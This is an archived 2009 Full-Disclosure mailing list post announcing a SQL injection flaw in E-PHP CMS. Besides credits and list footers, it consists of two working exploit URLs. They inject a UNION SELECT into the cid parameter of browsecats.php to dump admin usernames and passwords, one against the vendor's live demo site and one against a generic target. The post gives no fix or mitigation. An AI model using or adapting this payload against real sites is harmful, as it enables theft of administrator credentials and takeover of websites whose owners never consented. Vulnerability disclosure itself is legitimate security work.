full-disclosure - E-PHP cms SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <390371.67533.qm@web34306.mail.mud.yahoo.com>
Date: Tue, 27 Jan 2009 03:46:13 -0800 (PST)
From: saied hackeriran <saiedhackeriran@...oo.com>
To: support@...ln.com
Cc: full-disclosure@...ts.grok.org.uk, hr@...hapsis.com
Subject: E-PHP cms SQL Injection Vulnerability

E-PHP cms SQL Injection Vulnerability

#############################################

Dicovered By:                  SaiedHacker
Group:            HackeranShiraz Security Team
Web Address:           www.HackeranShiraz.Com
E-mail:            SaiedHackerIran@...oo.com
Creator:                 http://ephpscripts.com
#############################################
Demo Exploit:
http://ephpscripts.com/demo/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin
#############################################
Exploit:
http://Target/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin


      
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/